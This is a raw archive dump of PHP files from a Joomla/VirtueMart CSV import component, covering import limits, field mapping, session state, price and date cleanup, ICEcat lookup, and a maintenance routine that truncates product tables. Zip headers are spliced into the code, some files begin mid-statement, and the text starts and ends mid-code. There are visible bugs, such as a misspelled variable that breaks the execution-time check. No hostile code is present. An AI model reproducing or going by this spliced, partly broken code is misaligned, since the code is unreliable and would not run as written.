serialize(0)); $session->set($option.'.csvipreview', serialize(false)); } /** * Sets the system limits to user defined values * * Sets the system limits to user defined values to allow for longer and * bigger uploaded files * * @copyright * @author RolandD * @todo Allow 0 or -1 value * @see * @access private * @param * @return * @since 3.0 */ private function _systemLimits() { $jinput = JFactory::getApplication()->input; // Set the start time of the script $this->_starttime = time(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // See if we need to use the new limits if ($template->get('use_system_limits', 'limit')) { $csvilog->addDebug('Setting system limits:'); // Apply the new memory limits $execution_time = $template->get('max_execution_time'); if (strlen($exection_time) > 0) { $csvilog->addDebug('Setting max_execution_time to '.$execution_time.' seconds'); @ini_set('max_execution_time', $execution_time); } $memory_limit = $template->get('memory_limit', 'limit'); if ($memory_limit == '-1') { $csvilog->addDebug('Setting memory_limit to '.$memory_limit); @ini_set('memory_limit', $memory_limit); } else if (strlen($memory_limit) > 0) { $csvilog->addDebug('Setting memory_limit to '.$memory_limit.'M'); @ini_set('memory_limit', $memory_limit.'M'); } $post_size = $template->get('post_max_size', 'limit'); if (strlen($post_size) > 0) { $csvilog->addDebug('Setting post_max_size to '.$post_size.'M'); @ini_set('post_max_size', $post_size.'M'); } $file_size = $template->get('upload_max_filesize', 'limit'); if (strlen($file_size) > 0) { $csvilog->addDebug('Setting upload_max_filesize to '.$file_size.'M'); @ini_set('upload_max_filesize', $file_size.'M'); } } } /** * Function to check if execution time is going to be passed. * * Memory can only be checked if the function memory_get_usage is available. * If the function is not available always return true. This could lead to * out of memory failure. * * @copyright * @author RolandD * @todo * @see http://www.php.net/memory_get_usage * @access private * @param * @return bool true when limits are not reached|false when limit is reached * @since 3.0 */ private function _checkLimits() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check for maximum execution time $timepassed = time() - $this->_starttime; if (($timepassed + 5) > ini_get('max_execution_time') && ini_get('max_execution_time') > 0) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_MAXIMUM_EXECUTION_LIMIT_EXCEEDED', $timepassed)); return false; } // Check for maximum memory usage if (!function_exists('memory_get_usage')) return true; else { // Get the size of the statistics $statslength = 0; if (isset($csvilog->stats)) { foreach ($csvilog->stats as $type => $value) { if (isset($value['message'])) $statslength += strlen($value['message']); } } $statslength = round($statslength/(1024*1024)); // Get the size of the debug message $debuglength = round(strlen($csvilog->debug_message)/(1024*1024)); // Get the size of the active memory in use $activelength = round(memory_get_usage()/(1024*1024)); // Combine memory limits $totalmem = $activelength + $statslength + $debuglength; // Set the memory limit $jinput->set('maxmem', $totalmem); // Check if we are passing the memory limit if (($totalmem * 1.5) > (int)ini_get('memory_limit')) { $csvilog->AddStats('information', JText::_('COM_CSVI_MAXIMUM_MEMORY_LIMIT_EXCEEDED', $totalmem)); return false; } // All is good return true return true; } } /** * Print out import details * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _importDetails() { $jinput = JFactory::getApplication()->input; // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Get the template settings to see if we need a preview $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_CSVI_VERSION_TEXT').JText::_('COM_CSVI_CSVI_VERSION')); if (function_exists('phpversion')) $csvilog->addDebug(JText::sprintf('COM_CSVI_PHP_VERSION', phpversion())); // General settings $csvilog->addDebug(JText::_('COM_CSVI_GENERAL_SETTINGS')); // Show which template is used $csvilog->addDebug(JText::sprintf('COM_CSVI_TEMPLATE_NAME', $template->get('template_name'))); // Auto detect delimiters $auto_detect = ($template->get('auto_detect_delimiters', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_AUTO_DETECT_DELIMITERS', $auto_detect)); if ($auto_detect == JText::_('COM_CSVI_NO')) { // Check delimiter char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_DELIMITER', $template->get('field_delimiter', 'general'))); // Check enclosure char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_ENCLOSURE', $template->get('text_enclosure', 'general'))); } // Show import settings // Show template type $csvilog->addDebug(JText::sprintf('COM_CSVI_CHOSEN_IMPORT_TYPE', JText::_('COM_CSVI_'.$template->get('operation', 'options')))); // Use column headers as configuration $use_header = ($template->get('use_column_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_HEADER', $use_header)); // Refresh xml headers for every record $refresh_xml_headers = ($template->get('refresh_xml_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_REFRESH_XML_HEADER', $use_header)); // Skip first line $skip_first = ($template->get('skip_first_line', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SKIP_FIRST_LINE', $skip_first)); // Ignore non-existing products $ignore_non_exist = ($template->get('ignore_non_exist', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_IGNORE_NON_EXIST', $ignore_non_exist)); // Overwrite existing data $overwrite = ($template->get('overwrite_existing_data', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_OVERWRITE_EXISTING_DATA', $overwrite)); // Skip default value $skip_default = ($template->get('skip_default_value', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SKIP_DEFAULT_VALUE', $skip_default)); // Show preview $use_preview = ($template->get('show_preview', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_PREVIEW', $use_preview)); // Products // Unpublish products before import $unpublish = ($template->get('unpublish_before_import', 'product')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_UNPUBLISH_BEFORE_IMPORT', $unpublish)); // Categories // Append categories $append_cats = ($template->get('append_categories', 'product')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_APPEND_CATEGORIES', $append_cats)); // Images // General options $process_image = ($template->get('process_image', 'image', false)) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_PROCESS_IMAGE', $process_image)); // Create image name $create_name = ($template->get('auto_generate_image_name', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATE_IMAGE_NAME', $create_name)); // Generate image name $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_BASED_ON', $template->get('type_generate_image_name', 'image'))); // Image name format $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_NAME_FORMAT', $template->get('auto_generate_image_name_ext', 'image'))); // Full image // Convert image $csvilog->addDebug(JText::sprintf('COM_CSVI_CONVERT_IMAGE', $template->get('convert_type', 'image'))); // Save images on server $on_server = ($template->get('save_images_on_server', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SAVE_IMAGES_ON_SERVER', $on_server)); // Thumbnail image // Automatic thumbnail creation $auto_thumb = ($template->get('thumb_create', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_AUTOMATIC_THUMBS', $auto_thumb)); if ($auto_thumb == JText::_('COM_CSVI_YES')) { // Thumbnail format $csvilog->addDebug(JText::sprintf('COM_CSVI_FORMAT_THUMBS', $template->get('thumb_extension', 'image'))); // Thumbnail width x height $csvilog->addDebug(JText::sprintf('COM_CSVI_DIMENSION_THUMBS', $template->get('thumb_width', 'image'), $template->get('thumb_height', 'image'))); } // Show the file paths $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_PRODUCT_IMAGES', $template->get('file_location_product_images', 'path'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_CATEGORY_IMAGES', $template->get('file_location_category_images', 'path'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_MEDIA', $template->get('file_location_media', 'path'))); // Show the max execution time $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_MAX_EXECUTION_TIME', ini_get('max_execution_time'))); } /** * Unpublish products before import * * @copyright * @author RolandD * @todo * @see prepareImport() * @access private * @param * @return * @since 3.0 */ private function _unpublishProducts() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->update('#__virtuemart_products'); $query->set('published = 0'); $db->setQuery($query); if ($db->query()) $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_UNPUBLISH_BEFORE_IMPORT')); else $csvilog->addDebug(JText::_('COM_CSVI_COULD_NOT_UNPUBLISH_BEFORE_IMPORT'), true); } /** * Builds arrays of field names and default values to be used during the creation of the headers list * The creation of the headers from the data file may need to be carried out for every row when processing * XML files and so efficiency is important for performance. * * Note: The array supported_fields should not be used as the basis for these arrays because it is a list of * all available fields and some of these fields may not be mapped in the template. */ public function _fieldArrays() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $db = JFactory::getDBO(); $this->_supportedfields = array(); $this->_field_defaults = array(); $this->_field_published = array(); if ($template->get('use_column_headers', 'general')) { // Check if there are any avfields if (empty($this->_avfields)) { $option = $jinput->get('option'); $session = JFactory::getSession(); $this->_avfields = unserialize($session->get($option.'.avfields')); } $supportedfields = array_flip($this->_avfields); foreach ($supportedfields as $name => $value) { $this->_supported_fields[] = $name; $this->_field_defaults[strtolower($name)] = null; $this->_field_published[strtolower($name)] = 1; } } // Use the template fields assigned to the template else { $import_fields = $template->get('import_fields'); if (isset($import_fields['_selected_name'])) { $count = count($import_fields['_selected_name']); for ($rows = 0; $rows < $count; $rows++) { $this->_supported_fields[] = $import_fields['_selected_name'][$rows]; $this->_field_defaults[strtolower($import_fields['_selected_name'][$rows])] = $import_fields['_default_value'][$rows]; $this->_field_published[strtolower($import_fields['_selected_name'][$rows])] = $import_fields['_process_field'][$rows]; } } } // Create the inverted array used to lookup the field name using lowercase $this->_supportedfields = array(); foreach( $this->_supported_fields as $key => $value ) { $this->_supportedfields[strtolower($value)] = $key; } } /** * Get the configuration fields the user wants to use * * The configuration fields can be taken from the uploaded file or from * the database. Depending on the template settings. * * @copyright * @author RolandD * @todo Expand the no support fields message on line 398 * @see Templates() * @access private * @param * @return bool true|false true when there are config fields|false when there are no or unsupported fields * @since 3.0 */ private function _retrieveConfigFields($csvifile=false) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); if (!$csvifile) $csvifile = $jinput->get('csvifile', '', 'string'); if (empty($this->_supportedfields)) $this->_fieldArrays(); $columnheaders = $jinput->get('columnheaders', array(), 'array'); $csvifields = array(); $nosupport = array(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_CONFIG_FIELDS')); if ($template->get('use_column_headers', 'general')) { // The user has column headers in the file $jinput->set('error_found', false); if ($columnheaders) { foreach ($columnheaders as $order => $name) { // Trim the name in case the name contains any preceding or trailing spaces $name = strtolower(trim($name)); // Check if the fieldname is supported // No special field checking for Product Type Names upload if (array_key_exists($name, $this->_supportedfields)) { $csvilog->addDebug('Field: '.$name); $mixed_name = $this->_supported_fields[$this->_supportedfields[$name]]; $csvifields[$mixed_name]['name'] = $mixed_name; $csvifields[$mixed_name]['order'] = $order; $csvifields[$mixed_name]['default_value'] = (array_key_exists($name, $this->_field_defaults)) ? $this->_field_defaults[$name] : null; $csvifields[$mixed_name]['published'] = (array_key_exists($name, $this->_field_published)) ? $this->_field_published[$name] : 'Y'; $csvifields[$mixed_name]['combine'] = false; $csvifields[$mixed_name]['replace'] = null; } else { // Check if the user has any field that is not supported if (strlen($name) == 0) $name = JText::_('COM_CSVI_FIELD_EMPTY'); // Field is not supported, let's skip it $csvifields[$name]['name'] = $name; $csvifields[$name]['order'] = $order; $csvifields[$name]['default_value'] = null; $csvifields[$name]['published'] = 'N'; $csvifields[$name]['combine'] = false; $csvifields[$name]['replace'] = null; // Unset the column header so we can check if any fields are left over unset($columnheaders[$order]); // Collect the fieldnames to report them $nosupport[] = $name; } } //if (empty($columnheaders)) { // $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_COLUMN_HEADERS_FOUND')); // $jinput->set('error_found', true); // return false; //} if (!empty($nosupport)) { // Ensure the error message matches the file type switch($csvifile->extension) { case 'xml': case 'sql': $csvilog->AddStats('nosupport', implode(',', $nosupport).JText::_('COM_CSVI_FIELD_NOT_INCLUDED')); break; default: $csvilog->AddStats('nosupport', JText::sprintf('COM_CSVI_NO_SUPPORT', '
      • '.implode('
      • ', $nosupport).'
      ')); break; } $csvilog->AddStats('information', JText::_('COM_CSVI_UNSUPPORTED_FIELDS')); } $csvilog->addDebug(JText::_('COM_CSVI_USING_FILE_FOR_CONFIGURATION')); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_COLUMN_HEADERS_FOUND')); $jinput->set('error_found', true); return false; } } // Use the fields assigned to the template else { $fields = $template->get('import_fields'); if (!empty($fields)) { foreach ($fields['_selected_name'] as $fid => $name) { // Check if we are handling a combine field if ($name == 'combine') $name .= $fid; // Collect the data $csvifields[$name]['name'] = $name; $csvifields[$name]['order'] = $fid; $csvifields[$name]['default_value'] = $fields['_default_value'][$fid]; $csvifields[$name]['published'] = $fields['_process_field'][$fid]; $csvifields[$name]['combine'] = $fields['_combine_field'][$fid]; $csvifields[$name]['replace'] = $fields['_replace_field'][$fid]; if (!$csvifields[$name]['published']) $name .= ' ('.JText::_('COM_CSVI_FIELD_SKIPPED').')'; $csvilog->addDebug(JText::sprintf('COM_CSVI_IMPORT_FIELD', $name)); } $csvilog->addDebug(JText::_('COM_CSVI_USE_DATABASE_FOR_CONFIGURATION')); } else { $csvilog->AddStats('incorrect', JText::_('NO_COLUMN_HEADERS_FOUND')); return false; } } // Make the fields to process global $jinput->set('csvifields', $csvifields); return true; } /** * Handle the end of the import * * @copyright * @author RolandD * @todo Optimize adding ID to session * @see * @access private * @param * @return * @since 3.0 */ public function finishProcess($finished=false) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvifile = $jinput->get('csvifile', null, null); $csvilog = $jinput->get('csvilog', null, null); // Adjust the current line, since it is not processing $jinput->set('currentline', $jinput->get('currentline', 0, 'int')-1); // Session init $session = JFactory::getSession(); $option = $jinput->get('option'); if ($finished) { // Close the file if (is_object($csvifile)) $csvifile->closeFile(true); // Clean the session $this->getCleanSession(); // Add the ID to the session as we need it for the redirect to the result page $session->set($option.'.run_id', $csvilog->getId()); $jinput->set('run_id', $csvilog->getId()); } else { // Flush the log details // Store the log results first $log = $this->getModel('log'); $log->getStoreLogResults(); // Create session variables $session->set($option.'.global.template', serialize($template)); $session->set($option.'.csvicolumnheaders', serialize($jinput->get('columnheaders', null, 'array'))); $session->set($option.'.csvifields', serialize($this->_csvifields)); $session->set($option.'.csvifile', serialize($csvifile)); $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.filepos', serialize($csvifile->getFilePos())); $session->set($option.'.recordsprocessed', serialize($jinput->get('recordsprocessed', 0, 'int'))); $session->set($option.'.totalline', serialize($jinput->get('currentline', 0, 'int') + $jinput->get('totalline', 0, 'int'))); // Close the file $csvifile->closeFile(false); } } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Load some settings we need for the functions * This will make the data available to the child product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ protected function loadSettings() { $jinput = JFactory::getApplication()->input; // Load the settings $template = $jinput->get('template', null, null); $this->_avfields = $jinput->get('avfields', array(), 'array'); $this->_skip_default_value = $template->get('skip_default_value', 'general'); // Set the last field, needed for the combine function $this->_lastfield = end($jinput->get('csvifields', array(), 'array')); } /** * Load the data to import * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.4 */ protected function loadData() { $jinput = JFactory::getApplication()->input; $this->csvi_data = $jinput->get('csvi_data', null, null); } /** * Get the product currency from the vendor * * If the user does not use product currency we take the one from the current vendor * * @copyright * @author RolandD * @todo * @see * @access private * @param integer $vendor_id the database ID of the vendor * @return string the 3 letter product currency * @since 3.0 */ protected function productCurrency($vendor_id) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_CURRENCY')); if (array_key_exists($vendor_id, $this->_vendor_currencies)) { $product_currency = strtoupper($this->_vendor_currencies[$vendor_id]); } else { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('vendor_currency'); $query->from('#__virtuemart_vendors'); $query->where('virtuemart_vendor_id = '.$vendor_id); $db->setQuery($query); $product_currency = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_CURRENCY'), true); // Add the vendor currency to the cache $this->_vendor_currencies[$vendor_id] = $product_currency; } return $product_currency; } /** * Validate input data * * Checks if the field has a value, if not check if the user wants us to * use the default value * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $fieldname the fieldname to validate * @param int $replaceid the ID of the replacement rule * @return true returns validated value | return false if the column count does not match * @since */ protected function validateInput($fieldname, $replaceid=null) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $newvalue = ''; // Check if the user wants ICEcat data if ($template->get('use_icecat', 'product', false, 'bool') && !empty($this->icecat_data) && (array_key_exists($fieldname, $this->icecat_data))) { $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_ICECAT_FIELD', $fieldname)); $newvalue = $this->icecat_data[$fieldname]; } else if (isset($this->_csvifields[$fieldname])) { // Check if the field has a value if (array_key_exists($this->_csvifields[$fieldname]["order"], $this->csvi_data) && strlen($this->csvi_data[$this->_csvifields[$fieldname]["order"]]) > 0) { $csvilog->addDebug(JText::_('COM_CSVI_USE_FIELD_VALUE')); $newvalue = trim($this->csvi_data[$this->_csvifields[$fieldname]["order"]]); } // Field has no value, check if we can use default value else if (!$this->_skip_default_value) { $csvilog->addDebug(JText::_('COM_CSVI_USE_DEFAULT_VALUE')); $newvalue = $this->_csvifields[$fieldname]["default_value"]; } else { $csvilog->addDebug(JText::_('COM_CSVI_USE_NO_VALUE')); return ''; } } else return false; // Replace the value and return if (!empty($newvalue) && !empty($replaceid)) return CsviHelper::replaceValue($replaceid, $newvalue); else return $newvalue; } /** * Replace commas with periods for correct DB insertion of the prices * * @copyright * @author RolandD * @todo Handle multiple separators by removing them * @see * @access protected * @param string $value the value to clean up * @return string the cleaned up value with dots as separator * @since 3.0 */ protected function toPeriod($value) { $clean = str_replace(",", ".", $value); $lastpos = strrpos($clean, '.'); return str_replace('.', '' , substr($clean, 0, $lastpos)).substr($clean, $lastpos); } /** * Format a datetime format * * Format of the date is day/month/year or day-month-year. * * @copyright * @author RolandD * @todo use JDate * @see * @access protected * @param string $date the date to convert * @return integer UNIX timestamp if date is valid otherwise return 0 * @since */ protected function convertDate($date) { $new_date = preg_replace('/-|\./', '/', $date); $date_parts = explode('/', $new_date); if ((count($date_parts) == 3) && ($date_parts[0] > 0 && $date_parts[0] < 32 && $date_parts[1] > 0 && $date_parts[1] < 13 && (strlen($date_parts[2]) == 4))) { $old_date = mktime(0,0,0,$date_parts[1],$date_parts[0],$date_parts[2]); } else $old_date = 0; $date = JFactory::getDate($old_date); return $date->toMySQL(); } /** * Add the query statistics to the log * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function queryResult() { $db = JFactory::getDBO(); return substr($db->getQuery(), 0, strpos($db->getQuery(),' ')); } /** * Clean up a price to only exist of numbers * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $price the price to clean * @return float cleaned up price * @since */ protected function cleanPrice($price) { return JFilterInput::clean($this->toPeriod($price), 'float'); } /** * Load the ICEcat data for a product * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getIcecat() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); if ($template->get('use_icecat', 'product')) { $csvilog = $jinput->get('csvilog', null, null); // Load the ICEcat helper if (is_null($this->_icecat)) $this->_icecat = new IcecatHelper(); // Clean the data holder $this->icecat_data = null; // Check conditions // 1. Do we have an MPN $mpn = $this->validateInput($template->get('mpn_column_name', 'product', 'product_sku')); if ($mpn) { $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_REFERENCE', $mpn)); // 2. Do we have a manufacturer name $mf_name = $this->validateInput('manufacturer_name'); $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_MF_NAME', $mf_name)); if ($mf_name) { // Load the ICEcat data $this->icecat_data = $this->_icecat->getData($mpn, $mf_name); } else { $csvilog->addDebug(JText::_('COM_CSVI_ICECAT_NO_MANUFACTURER')); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_ICECAT_NO_REFERENCE')); return false; } } return false; } /** * Set a field to combine * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $data the data to be combined * @param string $fieldname the name of the current field * @return * @since 3.0 */ protected function setCombineField($data, $fieldname=null) { if (!empty($data)) { // Add the data to the array $this->combine_fields[] = $data; // Set the fieldname the data is for if (empty($this->combine_settings['fieldname'])) $this->combine_settings['fieldname'] = $fieldname; switch ($fieldname) { case 'category_path': $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->combine_settings['separator'] = $template->get('category_separator', 'general', '/'); break; } } } /** * Get the combined fields * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return string the space separated combined data * @since 3.0 */ protected function getCombineField() { // Get the combined data $data = implode($this->combine_settings['separator'], $this->combine_fields); // Empty some settings $this->combine_fields = array(); $this->combine_settings['fieldname'] = null; $this->combine_settings['separator'] = ' '; // Return the data return $data; } }PKs>\]Lcom_csvi/models/about.phpnuW+AgetValue('config.tmp_path'), '/'); $folders = array(); $root = JPath::clean(JPATH_ROOT, '/'); $folders[$tmp_path] = JFolder::exists($tmp_path); $folders[CSVIPATH_TMP] = JFolder::exists(CSVIPATH_TMP); $folders[CSVIPATH_DEBUG] = JFolder::exists(CSVIPATH_DEBUG); return $folders; } /** * Create missing folders * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function createFolder() { $app = JFactory::getApplication(); jimport('joomla.filesystem.folder'); $folder = str_ireplace(JPATH_ROOT, '', JRequest::getVar('folder')); return JFolder::create($folder); } } ?>PKs>\4ucom_csvi/models/maintenance.phpnuW+Ainput; // Start the log $csvilog = new CsviLog(); $import_id = $csvilog->setId(); $csvilog->SetAction('Maintenance'); $csvilog->SetActionType($jinput->get('task').'_LABEL'); $jinput->set('import_id', $import_id); $jinput->set('csvilog', $csvilog); } /** * Finish up maintenance * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function getFinishProcess() { // Load the session data $jinput = JFactory::getApplication()->input; // See if we have the csvilog $csvilog = $jinput->get('csvilog', null, null); // If not, then check the session if (empty($csvilog)) { $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $jinput->set('csvilog', $csvilog); } // Store the log $model_log = $this->getModel('log'); $model_log->getStoreLogResults(); } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Empty VirtueMart tables * * @copyright * @author RolandD * @todo Write out product type tables that get deleted * @see * @access public * @param * @return * @since 3.0 */ public function getEmptyDatabase() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); $tables = $db->getTableList(); // Empty all the necessary tables $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_products`;"; $db->setQuery($q); $csvilog->addDebug('Empty product table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_TABLE_HAS_NOT_BEEN_EMPTIED')); foreach ($languages as $language) { $table = $db->getPrefix().'virtuemart_products_'.strtolower(str_replace('-', '_', $language)); if (in_array($table, $tables)) { $q = "TRUNCATE TABLE ".$db->quoteName($table).";"; $db->setQuery($q); $csvilog->addDebug('Empty product language table', true); if ($db->query()) $csvilog->AddStats('empty', JText::sprintf('COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_BEEN_EMPTIED', $language)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED', $language)); } } $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty product category link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_customfields`;"; $db->setQuery($q); $csvilog->addDebug('Empty product custom fields table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_downloads`;"; $db->setQuery($q); $csvilog->addDebug('Empty product downloads table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_manufacturers`;"; $db->setQuery($q); $csvilog->addDebug('Empty product manufacturer link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_medias`;"; $db->setQuery($q); $csvilog->addDebug('Empty product medias table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_prices`;"; $db->setQuery($q); $csvilog->addDebug('Empty product price table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_PRICE_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_PRICE_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_relations`;"; $db->setQuery($q); $csvilog->addDebug('Empty product relations table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_shoppergroups`;"; $db->setQuery($q); $csvilog->addDebug('Empty product shoppergroups table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty category table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_TABLE_HAS_NOT_BEEN_EMPTIED')); foreach ($languages as $language) { $table = $db->getPrefix().'virtuemart_categories_'.strtolower(str_replace('-', '_', $language)); if (in_array($table, $tables)) { $q = "TRUNCATE TABLE ".$db->quoteName($table).";"; $db->setQuery($q); $csvilog->addDebug('Empty category language table', true); 